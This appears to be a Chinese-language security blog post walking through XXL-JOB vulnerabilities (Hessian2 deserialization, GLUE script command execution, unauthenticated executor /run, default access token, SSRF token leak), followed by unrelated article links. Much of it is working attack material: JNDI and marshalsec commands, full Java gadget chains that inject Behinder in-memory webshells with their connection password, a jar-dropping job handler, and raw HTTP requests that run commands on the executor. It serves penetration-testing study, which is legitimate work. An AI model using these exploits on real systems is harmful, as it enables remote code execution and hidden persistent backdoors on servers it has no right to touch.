XXL-JOB 漏洞大全

一、前言

在当今的数字化时代,任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务,确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。然而,随着其应用的普及,安全研究人员开始关注这些系统可能存在的潜在风险,一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:

  • 容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。

  • 脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

  • 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。

  • Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档:

分布式任务调度平台XXL-JOB

源码结构:

Plain Text
xxl-job-admin:调度中心
xxl-job-core:公共依赖
xxl-job-executor-samples:执行器Sample示例(选择合适的版本执行器,可直接使用,也可以参考其并将现有项目改造成执行器)    :xxl-job-executor-sample-springboot:Springboot版本,通过Springboot管理执行器,推荐这种方式;   :xxl-job-executor-sample-frameless:无框架版本;

这里我采用docker进行搭建,可参考:基于docker的分布式任务调度系统xxl-job搭建,注意这里我们搭建有漏洞的版本,我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下:

Bash
# 安装mysql
docker pull mysql# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456  -p 3306:3306  -v /opt:/opt mysql  --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';# 刷新权限
flush privileges;# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功,显示如下:

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

4.2 Hessian反序列化

4.2.1 漏洞复现

 4.2.1.1 出网利用

     影响版本:XXL-JOB <= 2.0.2

    漏洞原理:/api接口存在Hessian2反序列化漏洞

    漏洞复现:

    访问/api接口存在如下报错响应,则存在漏洞。

这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:

Bash
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

 生成恶意序列化数据:

Bash
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

 burp发送有问题,这里使用curl发送:

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功:

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链,可以达到反射调用静态方法。测试jdk1.8成功,jdk9版本开始,删除了rt.jar,下面测试注入内存马。

方式一:defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具(GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.)生成内存马,代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

代码需要修改的地方有:

  • bcode的值为生成的BASE64格式的内存马

  • 注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;public class hessian_demo_main {static SerializerFactory serializerFactory = new SerializerFactory();static byte[] bcode;static {try {// 修改下面bcode为实际生成的BASE64格式的内存马bcode = Base64.decode("yv66vg...AAAAAgCi");} catch (Base64DecodingException e) {throw new RuntimeException(e);}}public static void main(String[] args) throws Exception {serializerFactory.setAllowNonSerializable(true);Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);Field f = Unsafe.class.getDeclaredField("theUnsafe");f.setAccessible(true);Object unsafe = f.get(null);// 修改下面HttpClientUtil为实际生成内存马的类名Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};// 修改下面HttpClientUtil为实际生成内存马的类名SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);Object[] keyValueList = new Object[]{"abc", swingLazyValue};Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};UIDefaults uiDefaults1 = new UIDefaults(keyValueList);UIDefaults uiDefaults2 = new UIDefaults(keyValueList);UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);Hashtable<Object, Object> hashtable1 = new Hashtable<>();Hashtable<Object, Object> hashtable2 = new Hashtable<>();Hashtable<Object, Object> hashtable3 = new Hashtable<>();Hashtable<Object, Object> hashtable4 = new Hashtable<>();hashtable1.put("a", uiDefaults1);hashtable2.put("a", uiDefaults2);hashtable3.put("b", uiDefaults3);hashtable4.put("b", uiDefaults4);serObj(hashtable1, hashtable2, hashtable3, hashtable4);readObj();}static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 4);Class<?> nodeC;try {
*            nodeC = Class.forName("java.util.HashMap**$Node");} catch (ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$*Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 4);Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));Reflections.setFieldValue(s, "table", tbl);Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close();}static void readObj() throws Exception {Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));hessian2Input.readObject();}
}

 再通过curl发包即可:

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二:XSLT触发defineClass加载字节码

代码参考:SwingLazyValue在WebShell下的利用 -

修改两个地方:

  • base64_payload为要注入的BASE64格式的内存马

  • class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;import static com.qt.test.hessian_demo_main.serializerFactory;public class hessian_demo_two {public static void main(String[] args) throws Exception {String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +">\n" +"    <xsl:template match=\"/\">\n" +"      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +"      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +"      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +"      <xsl:value-of select=\"$rce\"/>\n" +"    </xsl:template>\n" +"  </xsl:stylesheet>";String base64Code = "yv66vg...AAAAAgCi";serializerFactory.setAllowNonSerializable(true);String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});Object[] keyValueList = new Object[]{"abc", value1};Object[] keyValueList1 = new Object[]{"ccc", value2};UIDefaults uiDefaults1 = new UIDefaults(keyValueList);UIDefaults uiDefaults2 = new UIDefaults(keyValueList);UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);Hashtable<Object, Object> hashtable1 = new Hashtable<>();Hashtable<Object, Object> hashtable2 = new Hashtable<>();Hashtable<Object, Object> hashtable3 = new Hashtable<>();Hashtable<Object, Object> hashtable4 = new Hashtable<>();hashtable1.put("a", uiDefaults1);hashtable2.put("a", uiDefaults2);hashtable3.put("b", uiDefaults3);hashtable4.put("b", uiDefaults4);serObj(hashtable1, hashtable2, hashtable3, hashtable4);readObj();}static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 4);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");} catch (ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 4);Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));Reflections.setFieldValue(s, "table", tbl);Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close();}static void readObj() throws Exception {Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));hessian2Input.readObject();}
}

环境:jdk1.8,这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

 

4.2.2 漏洞分析

找到触发/api路由的方法,位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readBytes(request)方法获取请求体的数据,然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程:

4.3 后台命令执行

4.3.1 漏洞复现

测试环境:2.1.2(2.0.2版本powershell脚本测试执行失败),需要启动执行器,新增一个powershell脚本任务:

添加完成后,编辑GLUE,插入要执行的命令。

点击执行一次,然后点击查询调度日志,执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,测试环境:jdk1.8,先准备好agent内存马,然后将其base64编码后分割再拼接:

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;public class Base64FileSplit {public static void main(String[] args) {File file = new File("E:\\Agent-1.0.jar");FileOutputStream fos = null;try {fos = new FileOutputStream("split_base64_output.txt");byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符int bytesRead;// 读取文件并转换为Base64字符串FileInputStream fis = new FileInputStream(file);byte[] fileContent = new byte[(int) file.length()];fis.read(fileContent);String base64String = Base64.getEncoder().encodeToString(fileContent);// 分割Base64字符串并写入到文件for (int i = 0; i < base64String.length(); i += 1000) {String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";fos.write(line.getBytes());fos.write("\n".getBytes());}System.out.println("Base64字符串已成功分割并写入到文件中.");} catch (IOException e) {e.printStackTrace();} finally {if (fos != null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}}
}

生成拼接的字符串。

添加一个java脚本的任务,再编辑代码。

修改代码为如下:

Java
package com.xxl.job.service.handler;import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;public class DemoGlueJobHandler extends IJobHandler {@Overridepublic ReturnT<String> execute(String param) throws Exception {saveJarAndEx();return ReturnT.SUCCESS;}public static void saveJarAndEx() {StringBuilder sb = new StringBuilder();// 拼接的base64字符串sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");..........sb.append("...DQAAAA==");// Base64解码String base64String = sb.toString();byte[] decodedBytes = Base64.getDecoder().decode(base64String);// 保存agent jarFile jarFile = new File("test1.jar");try {FileOutputStream fileOutputStream = new FileOutputStream(jarFile);fileOutputStream.write(decodedBytes);fileOutputStream.close();// 执行jarProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");Process process = processBuilder.start();InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;while ((line = reader.readLine()) != null) {System.out.println(line);}} catch (FileNotFoundException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);}}

执行任务,就可在控制台中看到注入成功。

冰蝎连接:

  4.3.2 漏洞分析 

执行任务的路由为:/jobinfo/trigger,对应的源码为:com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法:

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器(9999端口启动的),并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值,这里传入的是powershell,进入到如下if,初始化一个ScriptJobHandler,并放入到队列中。

接着通过任务线程执行handler:com.xxl.job.core.handler.impl.ScriptJobHandler#execute,在execute方法中,会将要执行的powershell脚本内容保存到一个后缀psl的文件中,并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如:shell,java同理,根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行 

4.4.1 漏洞复现

影响版本:XXL-JOB <= 2.2.0

漏洞原理:/run接口触发执行器执行脚本,acessToken为空绕过鉴权。

漏洞复现:

Executor默认是监听在9999端口,和后台执行任务导致的命令执行一样,只不过这里直接未授权请求Executor去触发脚本执行,测试版本:2.2.0,通过powershell执行。

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本:XXL-JOB <= 2.4.0

漏洞原理:用于调度通讯的 accessToken 为默认值default_token。

漏洞复现:

添加请求头,直接通过/run接口触发命令执行:

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析

token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现

影响版本:XXL-JOB <= 2.3.1

漏洞原理:查看执行日志/joblog/logDetailCat接口时,会携带accessToken向执行器地址发送请求,可以通过低权限用户发送日志查看的数据包,获取accessToken,再利用accessToken去触发/run接口的命令执行。

漏洞复现:

修改executorAddress:

通过nc监听请求包,可在请求头中获取accessToken。

4.6.2 漏洞分析

在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中,会将传入的address和配置文件中的accessToken实例化返回executorBiz,供后续发起请求。

在2.4.0版本中直接获取执行器的地址,无法利用。

参考

探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

SwingLazyValue在WebShell下的利用 -

基于docker的分布式任务调度系统xxl-job搭建_xxl-job docker-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/145818.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL篇(存储引擎)(持续更新迭代)

目录 一、简介 二、使用存储引擎 1. 建表时指定存储引擎 2. 查询当前数据库支持的存储引擎 三、三种常见存储引擎 1. InnoDB存储引擎 1.1. 简介 1.2. 特点 1.3. 文件格式 1.4. 逻辑存储结构 表空间 段 区 页 行 2. MyISAM存储引擎 2.1. 简介 2.2. 特点 2.3. …

Unity3D入门(二) :Unity3D实现视角的丝滑过渡切换

1. 前言 上篇文章&#xff0c;我们已经初步了解了Unity3D&#xff0c;并新建并运行起来了一个项目&#xff0c;使相机视角自动围绕着立方体旋转。 这篇文章&#xff0c;我们来讲一下Unity3D怎么过渡地切换视角。 我们继续是我上篇文章中的项目&#xff0c;但是需要向把Camera…

2024最新最全:网络安全人士【必备的30个安全工具】

1.Wireshark Wireshark&#xff08;前称Ethereal&#xff09;是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包&#xff0c;并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口&#xff0c;直接与网卡进行数据报文交换。 2.Metasploit Meta…

学习笔记——Swin Transformer(ICCV 2021 best paper)

有关ViT的学习笔记详见&#xff1a;学习笔记——ViT(Vision Transformer)-CSDN博客 ViT在图像分类方面的结果令人鼓舞&#xff0c;但由于其低分辨率的特征映射和复杂度随图像大小的二次方增长&#xff0c;其架构不适合作为密集视觉任务或高分辨率输入图像的backbone。根据经验&…

如何模拟异常情况进行接口测试自动化?

接口测试是软件测试中的重要环节&#xff0c;尤其是在分布式系统和微服务架构中&#xff0c;接口的稳定性和正确性直接影响系统的整体性能。在实际应用中&#xff0c;除了要验证接口的功能性&#xff0c;还需要测试接口在各种异常情况下的表现&#xff0c;如网络异常、超时、接…

华为地图服务 - 如何在地图指定位置增加气泡?-- HarmonyOS自学19

场景介绍 本章节将向您介绍如何在地图的指定位置添加气泡。 您可以通过气泡在道路上指定位置显示测速、拥堵情况。气泡支持功能&#xff1a; 支持设置四个方向的图标&#xff08;传入的图标宽高需要相同&#xff09;。支持设置图标碰撞规则。支持设置当前气泡的候选坐标段&a…

二叉搜索树(附源码C++)

游凡/搜索二叉树https://gitee.com/you-fan-a/search-binary-tree 一、什么是二叉搜索树&#xff1f; 若它的左子树不空&#xff0c;则左子树上所有结点的值均小于它根结点的值。若它的右子树不空&#xff0c;则右子树上所有结点的值均大于它根结点的值。它的左、右树又分为⼆…

Linux移植之系统烧写

直接参考【正点原子】I.MX6U嵌入式Linux驱动开发指南V1.81 本文仅作为个人笔记使用&#xff0c;方便进一步记录自己的实践总结。 前面我们已经移植好了 uboot 和 linux kernle&#xff0c;制作好了根文件系统。但是我们移植都是通过网络来测试的&#xff0c;在实际的产品开发中…

Autosar Dcm开发-诊断2E或31服务实现pending功能

文章目录 前言Dcm规范功能实现总结前言 项目开发过程中,有需求在31服务(Routine)收到请求时,等待应用层反馈执行完后再进行响应。所以pending一段时间,本文介绍该功能的实现。 Dcm规范 以Routine为例,其服务包含以下返回状态 0:E_OK,服务成功执行 1:E_NOT_OK,服务…

【PythonCode】力扣Leetcode46~50题Python版

【PythonCode】力扣Leetcode46~50题Python版 前言 力扣Leetcode是一个集学习、刷题、竞赛等功能于一体的编程学习平台&#xff0c;很多计算机相关专业的学生、编程自学者、IT从业者在上面学习和刷题。 在Leetcode上刷题&#xff0c;可以选择各种主流的编程语言&#xff0c;如C…

数据仓库建模方法论 :维度模型

使用ER模式建立的数仓&#xff0c;优点是没有冗余的数据。缺点是&#xff1a;数仓是用于分析的&#xff0c;分析的数据量特别大&#xff0c;多个表需要join操作&#xff0c;运行的时候特别慢。 比如&#xff1a;统计哪一年&#xff0c;哪个国家的哪个品类卖的最好&#xff1f;…

如何实现一个流畅的滚动列表

如何实现一个流畅的滚动列表 在网页开发中&#xff0c;滚动列表是展示大量数据时常用的交互方式。通过结合CSS动画和视觉设计&#xff0c;我们可以让列表内容自动滚动&#xff0c;为用户提供顺畅的浏览体验。今天&#xff0c;我将带你一步步实现一个流畅、富有视觉吸引力的滚动…

地平线占用预测 FlashOcc 参考算法-V1.0

1.简介 3D Occupancy Networks 的基本思路是将三维空间划分成体素网格&#xff0c;并对每个网格进行各类感知任务的预测。目前以网格为中心的方法能够预测每个网格单元的占用率、语义类别、未来运动位移和实例信息。3D occupancy 可以对道路障碍物进行更细粒度的划分&#xff…

如何利用nw.js打包vue项目

引言 最近有一个开发windows桌面应用的需求, 需要将vue项目打包成.exe文件&#xff0c;最好是变成可安装版(非绿色版)。特此记录一下如何通过nw.js将vue项目打包成.exe。可能这种方式不是最优&#xff0c;仅供大家参考&#xff01; nw.js简介&#xff08;以下描述来自nw.js官…

如何估算 Transformer 模型中的参数数量

最有效的理解新机器学习架构&#xff08;以及任何新技术&#xff09;的方式是从零开始实现它。虽然这种方法非常复杂、耗时&#xff0c;并且有时几乎不可能做到&#xff0c;但它能帮助你深入理解每一个实现细节。例如&#xff0c;如果你没有相应的计算资源或数据&#xff0c;你…

AI宠物拟人化新玩法,教你如何用0成本打造爆款创意内容!

近年来&#xff0c;随着AI技术的快速发展&#xff0c;各种创新玩法不断涌现&#xff0c;尤其是在内容创作领域&#xff0c;AI带来的变革尤为显著。 **其中&#xff0c;宠物拟人化逐渐成为社交媒体上的一大热门话题。**通过AI生成工具&#xff0c;我们不仅可以将宠物拟人化&…

面试面经|大模型算法岗常见面试题100道

本文提供了一份全面的大模型算法岗位面试题清单&#xff0c;包括基础理论、模型结构、训练微调策略、应用框架、分布式训练和模型推理等方面的知识点&#xff0c;旨在帮助求职者准备相关技术面试。 一、基础篇 1、目前主流的开源模型体系有哪些&#xff1f; Transformer体系&a…

基于yolov8和openpose人体骨骼关键点实现的摔倒姿态识别检测系统实现

【参考源码】 GitHub - HRonaldo/Openpose_YOLO 本项目参考上面框架进行全面改进&#xff0c;改进如下&#xff1a; &#xff08;1&#xff09;将检测框架换成当前最流行框架yolov8&#xff0c;并封装成类实现模块化设计。关于yolov5优化项目可以访问&#xff1a;https://bl…

队列的各种接口的实现(C)

队列的概念 队列&#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出FIFO(First In First Out) 入队列&#xff1a;进行插入操作的一端称为队尾 出队列&#xff1a;进行删除操作的一端称为队头 队列的实…

华为地图服务 - 如何在地图上绘制多边形? -- HarmonyOS自学16

场景介绍 本章节将向您介绍如何在地图上绘制多边形。 接口说明 添加多边形功能主要由MapPolygonOptions、addPolygon和MapPolygon提供&#xff0c;更多接口及使用方法请参见接口文档。 接口名 描述 MapPolygonOptions 用于描述MapPolygon属性。 addPolygon(options: mapC…